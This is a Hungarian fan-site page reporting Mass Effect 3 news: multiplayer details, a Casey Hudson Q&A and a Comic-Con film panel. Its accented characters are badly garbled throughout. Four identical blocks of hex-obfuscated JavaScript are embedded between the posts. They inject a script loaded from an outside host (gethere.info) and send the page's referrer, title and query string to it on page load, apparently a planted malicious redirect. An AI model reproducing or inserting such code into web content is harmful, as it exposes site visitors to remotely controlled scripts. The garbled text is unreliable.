Üdvözlünk az SFportal nem hivatalos Mass Effect rajongói oldalán!

Kövess minket!



Vagy kérj e-mail értesítőt!

Enter your email address:

Delivered by FeedBurner

Mass Effect @ Google+

Mass Effect @ Facebook

A hivatalos magyar Mass Effect Facebook oldal

Csatlakozz!

Casey Hudson

IsmA�t jelentkezett a Bioware heti rendszeressA�ggel jelentkezA� “hA�radA?ja”, A?jabb tA�nyekkel szolgA?lva a jA�vA� tavasszal megjelenA� Mass 3-rA?l.

(hmm, elA�g A�rdekes arcot vA?g a kA�t delikvens, a Q&A videA? elA�nA�zetA�ben :D)

A videA?ban elhangzott legfontosabb tA�nyek, egy-egy mondatban:
– A januA?rban lA�vA� multiplayer bA�tA?hoz early-acces kA?d jA?r minden Battlefield 3 LE tulajnak.
– A csapattA?rsak nem lesznek annyira A?llandA? jelensA�gek, mint korA?bban. NA�hA?ny bajtA?rsunk akA?r meg is halhat, mA�g a vA�gsA� kA?ldetA�s elA�tt.
– EzA?ttal is lesznek komolyabb mellA�kkA?ldetA�sek a kampA?nyban, amiket teljesA�tve a jA?tA�k befejezA�se pozitA�vabb lesz.
– az SR2-es Normandia magA?nkA�zben lA�vA� hajA? volt, ezA�rt sokkal tA�bb figyelmet szenteltek a legA�nysA�g kA�nyelmA�re. A harmadik rA�szben viszont Shephard visszatA�r a SzA�vetsA�gbe, akik ugye inkA?bb a puszta funkcionalitA?st preferA?ljA?k, szA?val az A?talakA�tA?s sorA?n a pompa A�s kA�nyelem (na meg Shephard tA?gas “tetA�tA�ri” kabinja) megy a kukA?ba.

Multiplayer:
– A kA�sA�bbiekben elkA�pzelhetA� egy patch, amelyben a Gethek is bekerA?lnek, mint jA?tszhatA? karakter, a multiplayer mA?dban.
– Megjelenik a manapsA?g minden Unreal motorral hajtott jA?tA�kban jelen lA�vA� tA?lA�lA� mA?d, amelyben a 11 hullA?mban tA?madA? ellenfeleket kell visszaverni, a hA?rom tA?rsunkkal.

VA�gA?l a videA?:

var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

A Bioware Pulse, a stA?diA? online “hA�radA?ja” mai “adA?sA?ban” a Mass Effect atyaA?ristenA�t, Casey Hudsont A?ltette a kamerA?k elA�, hogy akkor beszA�ljen a frissen bejelentett kooperatA�v A?zemmA?drA?l.

Teljes fordA�tA?sra nem vA?llalkozunk, de nA�hA?ny fontosabb pontot kiemelnA�nk az alA?bb megtekinthetA� videA?bA?l:

– a multiplayer mA?d egyfajta fA�hajtA?s Shepard parancsnok gazdag tA�rtA�nete elA�tt

– a nA�gyfA�s csapatok a galaxis egy-egy helyszA�nA�nek kontrollA?lA?sA?A�rt harcolnak

– lehetA?nk drell, asari, turian, stb. fajA? karakterekkel, illetve a mA?r megismert karakterosztA?lyokkal

– egysA�ges A�lmA�nyt igyekeztek megteremteni a single A�s a multiplayer jA?tA�kmA?d kA�zA�tt

– minA�l jobban toljuk a multiplayer mA?dot, a a single player befejezA�s is annA?l jobb lesz – ugyanakkor ha csak a single playerre koncentrA?lunk, akkor is elA�rhetjA?k a maximA?lisan legjobb befejezA�st; ez egy kicsit ellentmondA?sosnak hangzik, majd meglA?tjuk

a multiplayerben lejA?tszott csatA?k rA�szei az egyedi Shepard-kA?nonnak

– Casey Hudson tud arrA?l, hogy sokan aggA?dnak, hogy a multiplayer miatt esetleg a single player mA?d sA�relmeket szenvedne, de errA�l szA? sincs: a Bioware egy mA?sik csapata kA�szA�tette, akiket kifejezetten azA�rt A�pA�tgettek az elmA?lt A�vekben, hogy jA? multiplayer A�lmA�nyt kreA?ljanak.

– a fejlesztA�k kA�pesek reggelig jA?tszani az ME3 multiplayer mA?djA?val, ami egy jA? bizonyA�tA�k arra, hogy A�lvezetesre sikerA?lt a dolog. 🙂

var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

A San Diego Comic Conon interjA?t adott Casey Hudson, a sorozat producere a kA�szA?lA� jA?tA�kkal kapcsolatban. TA?l sok A?jdonsA?g nem derA?l ki belA�le ugyan, de A�rdemes megnA�zni.

var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Volt ugyan egy kimondottan a Mass Effect mozifilmrA�l szA?lA? panel a most zajlA?, San Diego Comic Con-on, de igazA?n A?j informA?ciA? nem hangzott el azon tA?l, hogy igen, lesz ilyen.

A panelt Casey Hudson, a franchise producere A�s Mark Protosevich, a film forgatA?kA�nyv A�rA?ja tartottA?k, a Legendary Pictures, a film mA�gA�tt A?llA? produkciA?s cA�g szA�neiben. A forgatA?kA�nyvA�rA? elmondta, hogy tisztA?ban vannak azzal, hogy mennyire kevA�sre tartjA?k a rajongA?k a legtA�bb jA?tA�kbA?l kA�szA?lt filmet – A�s hA?t valljuk be, van is erre alapjuk. Protosevich szerint ennek a legfA�bb oka az, hogy a korA?bbi filmesek A?gy gondoltA?k, hogy elegendA� fogni a meglA�vA� jA?tA�kot, hozzA?adni nA�mi vizuA?lis effektet meg akciA?t, A�s szimplA?n A?tA?ltetni a jA?tA�kot a mozivA?szonra. Ezt a hibA?t nem akarja elkA�vetni, mA?r csak azA�rt sem, mert a Mass Effect mitolA?giA?ja annyira gazdag A�s mA�ly, mint mondjuk a Star Wars sorozatA� vagy a GyA�rA�k Ura vilA?gA?A�.

Ezen felA?l azonban semmilyen A?j info nem hangzott el – se a tervezett szereplA�k vagy a rendezA� neve nem derA?lt ki, A�s igazA?bA?l arra sem kaptunk megerA�sA�tA�st, hogy valA?ban a First Contact War, az emberisA�g csillagkA�zi A�rbe valA? kijutA?sa A�s a turianokkal valA? elsA� talA?lkozA?sa lenne a tA�mA?ja a filmnek, ahogy ez az IMDBpro-ra feltA�ltA�tt szinopszisbA?l kiderA?lt. Annyit jegyzett meg csak a forgatA?kA�nyvA�rA?, hogy “az elsA� jA?tA�kra koncentrA?lnak a moziverziA?ban”. TalA?n jA�vA� ilyenkor tA�bbet fogunk tudni.var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Lezajlott az E3, a vilA?g legnagyobb jA?tA�kexpA?jA?nak elsA� kA�t napja, ahol igazA?n sok nyalA?nksA?ggal igyekeztek elkA�nyeztetni a Mass Effect-szA�ria rajongA?it. MA�g egy-kA�t aprA?sA?g vA?rhatA? a kA�vetkezA� napokban, de a nagyobb puskaporokat mA?r ellA�tte az EA A�s a Bioware – ezeket a durrogtatA?sokat igyekeztA?nk A�lA�ben “kA�zvetA�teni” oldalunkon, de talA?n az A?tlA?thatA?sA?gnak jA?t tesz, ha A�ssze is foglaljuk a hA�reket.

Egy kattintás ide a folytatáshoz....